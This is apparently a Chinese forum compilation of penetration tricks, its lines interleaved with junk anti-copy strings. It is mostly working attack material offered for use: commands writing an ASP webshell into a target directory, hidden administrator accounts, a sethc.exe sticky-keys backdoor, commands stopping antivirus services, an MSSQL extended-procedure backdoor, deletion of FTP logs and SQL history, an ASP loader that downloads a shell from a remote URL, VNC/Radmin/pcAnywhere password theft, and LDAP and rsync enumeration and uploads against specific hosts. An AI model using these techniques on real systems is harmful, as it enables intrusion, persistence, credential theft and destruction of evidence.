渗透技巧总结

admin

旁站路径问题
/ p5 m, C# A) k6 v1、读网站配置。
: o& N# i2 g/ b; K1 d9 L4 g7 y2、用以下VBS
$ a2 y  G9 N3 [7 \" y2 gOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

$ \' W5 [+ Q7 a' E# m  s7 dUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
+ q& ?/ ^; y* N- E1 vEnd If
Set ObjService=GetObject

8 m3 o, D3 r- C) L  L("IIS://LocalHost/W3SVC")
. r* j3 r* _% s% ]7 C5 z5 XFor Each obj3w In objservice
: S8 A, k" w* J, M        If IsNumeric(obj3w.Name)
6 y$ y  h2 l/ b) [) }9 M! h- H/ I
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
! h# v+ F1 t+ y, ]/ z( k$ {6 ?1 I0 K         
+ X2 l% a2 ^7 \8 Z* g
7 G% U! e& J# {       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
$ [( R0 T" w# L. M* L+ C                If Err
1 o% H$ p3 d) ^! @+ T& E
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

* \$ d" c0 m. b7 U( LOService.ServerComment & "]"
3 y" _$ D% u; _5 b( G, z5 b, q                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

8 G! _+ T, R7 Q" O3 `1 h6 CWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
" V* _$ Z7 E; h  R1 s# H9 M% Y                Next
  z+ B7 F0 z! P2 e      
, C/ x6 q/ o( {1 k4 s" ]3 ^/ z
         WScript.Echo "ath            : " & VDirObj.Path
: `$ y) y  X  ^2 ?        End If
Next
( ?* r3 K- h( S$ x. s复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
7 h2 F  ]6 }" V* F- \- ^0 [4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
% W3 J- T! C8 q8 Z8 z. i/ LWordPress的平台，爆绝对路径的方法是：
- Q3 J8 }* K1 N$ k: Nurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
: ^- {4 ]# x% a3 y8 ?* V——————————————————————
+ O( x; b1 R& f4 O. H6 CphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
5 @( T. b3 `" o% Z) B$ }phpMyAdmin/darkblue_orange/layout.inc.php
$ A6 Y" Y% S, L0 E; \' C" `9 Q! kphpMyAdmin/index.php?lang[]=1
; K+ n$ V3 o9 T  R& _" Hphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
4 p2 }$ a! {+ E/ B————————————————————
5 u3 o- {1 R6 |- b" nCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
7 H- u! p/ g2 L9 f" s9 ?netsh ras show user #查看哪些用户可以拨入VPN
. ]  {! m$ A0 S! L# G2 A+ ]3 b& bnetsh ras ip show config #查看VPN分配IP的方式
. v3 l+ D- n% g9 Vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
+ D2 e  P8 t1 `  S4 Bnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
, m) A5 ]6 ^4 n4 V) V+ G/ Z, P————————————————————
$ a: g7 l: a+ j+ ^( V命令行下添加SQL用户的方法
# J$ h9 ?  U" U' J, |需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
: x3 S9 J& K0 A3 ]$ qexec master.dbo.sp_addlogin test,123
# l) B* ?6 @/ h/ v4 S) {; _EXEC sp_addsrvrolemember 'test, 'sysadmin'
( H4 n: \# ^+ H# b( m/ T9 y: k1 B/ v然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
& i  t7 I0 X+ L0 e  P% u
另类的加用户方法
8 e+ j% u' i+ ^0 o$ |) S. f在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
2 ~2 u2 ~2 ~+ ]+ Mjs:
6 o# q/ B' q1 b% G- Svar o=new ActiveXObject( "Shell.Users" );
6 F5 R8 d; m* Zz=o.create("test") ;
4 h$ i+ g  G) i+ Y  X1 I0 f  Oz.changePassword("123456","")
z.setting("AccountType")=3;

1 I# ^% S; U; w% Q( S" Jvbs:
( F+ a* ~$ a# qSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
' D& ~1 C, [# y7 ez.changePassword "123456",""
z.setting("AccountType")=3
) Z4 h) R+ T# `! Q. }4 N% D7 P4 |+ r——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
+ G( T$ t2 q) T3 y1 W
命令如下
8 K% j. c" I2 l/ m' t0 Wcacls c: /e /t /g everyone:F           #c盘everyone权限
' C! L5 f+ F- E% qcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
! g8 d- e% A% Q! i% g7 i3389相关
4 y& f& ^5 M: fa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
6 b! L+ t8 \/ I. W: m; h3 ?. Y& f  w! gXP 运行mstsc /admin
, m8 S3 n" f6 J: g* T2003 运行mstsc /console   
! X. ^! j$ I. k9 O- u
4 n5 C2 j$ Z  `5 z, C6 v* i! M杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
. Y, G  Q& _! u) p' L3 Bnet stop "Symantec AntiVirus" /y
* s3 j, r: s8 O, y* N; U0 Onet stop "Symantec AntiVirus Definition Watcher" /y
# a1 _! E" C! `: A! L7 r7 hnet stop "Symantec Event Manager" /y
: J5 `, ?& @+ u8 fnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
7 N1 S! b% @9 N9 {2 x$ h
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
4 n4 R# ?4 H" _  N——————————————————————
* R0 P2 y) ^' y' p/ G2 ~隐藏账号添加：
' e/ v4 r% U8 [' y9 O7 i1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
0 G6 }; U. ?8 J# S, n  d1 j4、利用Hacker Defender把相关用户注册表隐藏
* e, y' ~# N* Q——————————————————————
MSSQL扩展后门：
2 R( |0 H/ j$ [! IUSE master;
0 ^0 Y$ W: s; ZEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
  `% n( A* Y% K& m  {6 a, J———————————————————————
. g7 Q( ]6 A& {$ _8 x: R; Z日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
5 R2 }0 S' C! P- N  q用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
/ B  E- c0 T9 x  W) P6 U$ U当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
0 p' c0 D7 N9 a) _! MMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
" V4 L. h2 G) a  x  Y—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

* M' a, ?# y4 {0 I<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
* J1 c- c8 J0 i! W  ~Dim Ads, Retrieval, GetRemoteData
; e1 w) d: k4 j- I4 N7 HOn Error Resume Next
* b+ b: [2 }2 WSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
( {# \: |6 c" J6 f4 {! S.Open "Get", s_RemoteFileUrl, False, "", ""
3 ^2 l1 \( o. T6 W.Send
GetRemoteData = .ResponseBody
9 ]5 v; H, R; H& pEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
9 n7 y0 z; Z5 N$ ?8 s.Write GetRemoteData
$ x: V: Y* A/ T; K0 x9 x9 l6 \.SaveToFile Server.MapPath(s_LocalFileName), 2
1 B+ \- h) M( h5 a.Cancel()
5 o/ T" ^" D6 f" I.Close()
End With
1 X) A9 D$ b; U$ U# w; B2 |- dSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
) T2 e4 T- V# J+ b! O
6 Q# a- ]+ Z8 k; O& jVNC提权方法:
5 b3 r, a! ?2 x+ J5 e利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
. P7 Z! E9 {. U5 ]5 g注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
/ ]! v. \, a! U* A7 TRadmin 默认端口是4899，
/ @; l/ N" u& \9 S& `HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
0 M/ F$ o2 w% |+ V2 E/ J( tHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
" J& [& ^" b7 r5 U然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
* N) T. d6 V) j' o& Y保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
4 `" v8 ~0 w7 xUsers\Application Data\Symantec\pcAnywhere\文件夹下。
! E) j, {* T: H$ V  G5 u9 S——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
) U  c* R) q! c& x& r/ U# Z——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
/ E6 n# p& C% E' ?1 V" A没有删cmd组建的直接加用户。
2 W; B9 P4 q! h" y' @7i24的web目录也是可写，权限为administrator。
" R8 K4 Y8 _( U! j
1433 SA点构建注入点。
$ R7 W% \2 w0 _5 N* U5 w& z<%
strSQLServerName = "服务器ip"
0 y# b( N( u' p- BstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
: q! t8 [' }7 t9 y+ a2 [strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
, P! Y  N" H* P1 S8 ostrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
& A' R$ b1 z0 y; T3 a# D
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
. U; K2 q+ J7 t
" @1 G8 N' {& v6 y5 ZstrSQLDBName & ";"
conn.open strCon
5 n) P. n, R0 Y3 k) n/ Edim rs,strSQL,id
) E* Z: ^) I0 D0 dset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
2 ]9 y+ K; z* N& v! G2 Brs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

1 M, {- S! p- V- p" d- _0 x2 p$ u2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
3 P  L3 A6 s" j找到ou,dc,dc设置
; r/ g3 @1 t5 J& S  E* z( K0 p
1 k( a+ h3 k4 P. K# u3.查找管理员信息
匿名方式
7 P+ |6 h5 B2 u8 |9 K0 r" Qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* y9 {% f( {  J+ T/ l2 X4 Q有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( m6 s! w2 h2 s- n+ Z2 x( Q8 G" T"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


$ Q2 B, g2 w" M7 k+ B! I& C4.查找10条用户记录
9 x2 ?, o8 {" q4 M# [& w7 aldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- }, n( y" {. f( i8 J/ d" k( Q0 [
+ y; R1 n+ h, E1 @7 v, b0 N: U实战:
4 D3 z6 k6 P" w' Q# e( a9 a1.cat /etc/nsswitch
  @, s" g% J1 q1 K  \4 f! i看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
- p, K$ m2 A4 ~/ mbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ S- n, a0 ]2 g7 s2 z6 J
( z) O/ j- h$ w9 M
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

, a3 b6 L/ F, l/ |* c2 W  n渗透实战:
1.返回所有的属性
  ]$ B0 W$ w2 `" p: H2 z& W5 p3 ?" Hldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
6 D# W4 b6 m* a2 e: ?) T
dn: uid=manager,dc=ruc,dc=edu,dc=cn
8 W3 C4 N* v" G' `/ @uid: manager
( s0 T; e. G8 I3 D' h! t8 R+ gobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
+ c0 ?( i% E% E/ y0 y- ccn: manager
, P$ M2 z1 }7 L
9 f% r8 B2 C! y( L  \dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
/ W4 M  Z( [  C( o  i7 [! \uid: superadmin
objectClass: inetOrgPerson
) W* m) Z4 Q4 N" robjectClass: organizationalPerson
; e4 ^% r$ [4 |objectClass: person
" T/ K6 e1 X9 ]# v9 n7 i) e7 D8 ^objectClass: top
sn: superadmin
cn: superadmin
+ {1 H5 I% D0 |8 O; {( Y  N
dn: uid=admin,dc=ruc,dc=edu,dc=cn
" W: R; F! Y5 C- ^uid: admin
! k/ x5 K+ E9 f: y' {objectClass: inetOrgPerson
: S8 t. C; \7 A1 a. W* V& E1 TobjectClass: organizationalPerson
# S! B4 V; ~3 MobjectClass: person
objectClass: top
9 s, Q: [3 I+ E; xsn: admin
; F9 d: v+ P4 g% w" M7 Z2 x8 g) |& Mcn: admin
: O& q% {, m2 o8 |9 w4 t/ F8 B
% K6 ^- ]- n; i1 Xdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
! F8 x, o/ a) }( B. O7 |uid: dcp_anonymous
objectClass: top
objectClass: person
/ D, ]$ I& n' B) G4 JobjectClass: organizationalPerson
3 M; A3 F8 w, K! H+ G  k4 G. N8 B9 lobjectClass: inetOrgPerson
; `% t$ N& n: B# N8 z7 J6 d& ssn: dcp_anonymous
: q  J3 C7 B7 p" w2 P) Hcn: dcp_anonymous
1 ]. r( T7 J! Y9 h% I& m
2.查看基类
. W! T9 G- q% `bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
' p% `7 H2 ]+ J
more
( }: m3 Y, J% `9 \* z9 c+ M5 K) iversion: 1
dn: dc=ruc,dc=edu,dc=cn
& ^& y( _# G9 Z: ^7 j4 r5 t0 Bdc: ruc
3 M8 _& `+ m+ L6 h4 \6 ]" yobjectClass: domain

3.查找
. i- l) G$ c# z, }bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
. `& P8 p' _6 vdn:
. _& z, u- l6 w/ H. DobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
/ C' c3 N' E$ D; K1 \supportedExtension: 2.16.840.1.113730.3.5.8
/ \+ {6 ?: w: J2 [; b4 C; D% QsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
/ Y) Z% d1 w& b2 W8 Y9 `supportedExtension: 2.16.840.1.113730.3.5.3
! S* _2 P$ f% a8 Z% W  f% VsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
$ L4 Y% m; }( _1 ~+ TsupportedExtension: 2.16.840.1.113730.3.5.4
0 v, [5 w4 e2 i- W0 l% JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
: j% M+ B. q3 r8 D- Y8 j+ isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
9 D5 X. k% ~1 I* ^8 B: t6 a& q- _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
% ~- `* ?7 `) r5 asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
8 H, a; m$ U9 D, o* \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
9 i6 t7 k2 K3 D0 l: q" o- Z" msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( g8 H5 ]' w) ^, OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
3 {. F. J$ |/ P& {/ {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
% C( U; p8 N- b( TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
/ X, P+ B  k) n) a1 d. E- y3 l( _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
3 J3 P( ]; \" w' JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
" e- G$ P1 @- Y" D1 l; s& t$ z8 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
" a3 U- i/ m+ d4 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
0 ]8 O& D9 u+ i9 y- fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
/ d- {- z8 @( g. `7 p( I! RsupportedExtension: 1.3.6.1.4.1.1466.20037
3 P1 T7 s5 j' N7 D! usupportedExtension: 1.3.6.1.4.1.4203.1.11.3
% s; t; ]: i( [# q+ H! IsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
# U3 U2 U# z" h' j- w. XsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
# J/ M% g+ L  ^3 Z: ZsupportedControl: 2.16.840.1.113730.3.4.16
' }2 V$ J" B( c; S, lsupportedControl: 2.16.840.1.113730.3.4.15
7 T1 w4 A% I4 Y9 i# qsupportedControl: 2.16.840.1.113730.3.4.17
5 j0 g  |: D# V; WsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
( p7 s9 R1 i$ k8 ~5 k5 S; MsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
) W7 U2 n3 Y2 f5 O- u/ D9 |supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
4 C! {8 H2 T% usupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
) h6 h! A5 w9 L, RsupportedControl: 2.16.840.1.113730.3.4.18
0 b" @3 [" U+ vsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
! X- t9 r( F6 v2 S: J% rsupportedSASLMechanisms: DIGEST-MD5
3 G" t/ A' C: K; p( |5 g; dsupportedLDAPVersion: 2
7 }# F  g* l; O7 k5 K4 k* [supportedLDAPVersion: 3
3 N, i7 t# p% e& S/ j# d& }  B9 EvendorName: Sun Microsystems, Inc.
- c( _& Y8 B6 j; N2 r$ ]8 S4 wvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
7 L9 G. V& M7 |8 gsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
4 u# j# g. Z, }9 tsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
; W) d# W, ]& u2 w) p, AsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
; K: U5 b( Q& wsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
8 D0 z& s. V7 u, r5 R# XsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
2 c9 }* G0 \, r% T% ZsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
$ F# i4 Q! M/ [0 \8 RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
$ y5 P* C+ \9 l) g" `( i1 EsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
1 Z, L9 G! h; Y/ q- }2 Q1 {  Y2 QsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
* U* B5 [; W2 lsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
+ G1 V/ T, e. S. A  F1 tsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
# z' T6 B8 N! M4 isupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
  l6 f; L5 m; zsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
# ]0 z# `- u8 Z- |+ z, e0 ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
. x6 T/ A9 K' r9 P9 ZsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
* J3 b2 B( M- j) f/ r6 G+ T! OsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
# R4 Z  y7 Y' c' W4 s. p- m; T' DsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
) i+ k/ j* t9 @supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
7 |; p% Q% c9 }3 m5 n) o9 IsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
/ p+ o& j+ J* E% ?) QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
9 L5 L2 a  _! JsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
7 |9 n; Z) N0 W$ B1 b; C$ Z+ @& b( IsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
' X7 Y+ f, O! n6 E9 A4 o2 Y: W————————————
2. NFS渗透技巧
showmount -e ip
) a$ E5 m3 W$ x  t列举IP
2 \" X, P- P" F$ j0 S! b1 Y——————
. ]. q/ _$ T) q1 `4 n$ A& ?/ A3.rsync渗透技巧
  }0 \1 L, @  [2 Z1.查看rsync服务器上的列表
rsync 210.51.X.X::
& n' `8 j. D$ ^: e0 W: N/ V) e' ffinance
img_finance
) l/ B/ M- i/ h, Q0 Iauto
img_auto
html_cms
( [9 U( `! v# w) |img_cms
" [3 Y, H. M) T( Z8 x7 Jent_cms
6 K( G- j' I) r1 ^* {% H( [ent_img
/ M8 ]# `( w' D2 gceshi
3 h- h2 z/ y4 ?% t# \( x$ eres_img
  s0 s- H& }* ^8 l+ [& ires_img_c2
chip
chip_c2
$ u- k1 V7 x6 U' y$ oent_icms
3 ?# U! [" A6 z$ Z) `; ~- ]: cgames
7 W$ Y6 j& A* y  I0 H' Ugamesimg
media
mediaimg
fashion
9 ~: b3 ]7 O- }" W3 s/ E; sres-fashion
0 P/ s# z5 R1 @" _res-fo
taobao-home
res-taobao-home
- E5 I  k' x  u6 k1 e0 Y! x% Whouse
& }/ ~2 y, h7 ]res-house
5 n% v# w9 ~+ Y% t' [1 u" Kres-home
res-edu
res-ent
- W) k3 l) I/ h' N' X3 Z8 Hres-labs
% N) _! ?+ T1 J; C+ P, _% Ores-news
8 F! q4 i! D( y7 L; v: Zres-phtv
# j8 Z5 _( A- I8 W6 l) \1 _res-media
home
3 H/ t. D! B5 p7 D7 }: Aedu
news
res-book
& l( f& c0 R" [
" c& {, M, C, X# U' Z看相应的下级目录(注意一定要在目录后面添加上/)

% y% G4 U! n6 W+ W4 W2 ?
rsync 210.51.X.X::htdocs_app/
7 [  F  w- O' e* Mrsync 210.51.X.X::auto/
0 V( ~. K8 i( p+ hrsync 210.51.X.X::edu/
' Q% b' R0 m! B4 r, H4 y, j+ Q. u
7 h% d* @! g6 @2.下载rsync服务器上的配置文件
* c7 ?$ A$ C, ~0 ^" n- crsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
+ R% c& J4 h% _& }- ~
3.向上更新rsync文件(成功上传,不会覆盖)
, |9 [, I$ G3 {/ R7 z7 B- u, Hrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
- y( p. h7 o3 _" {& L
- m' W- \, A: X9 n( b! J四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
( q1 R* D3 p  {* y% Y: H. X$ V! y! YGET HTTP://WWW.sina.com:22 / HTTP/1.0
) {0 \7 e4 ~5 ~: L五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
! Z) O3 c9 F: W1 Y2 c
$ @6 g+ [7 t" t: Y, n0 O. O六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
. P( v/ |9 F% ^% M6 U  s, K
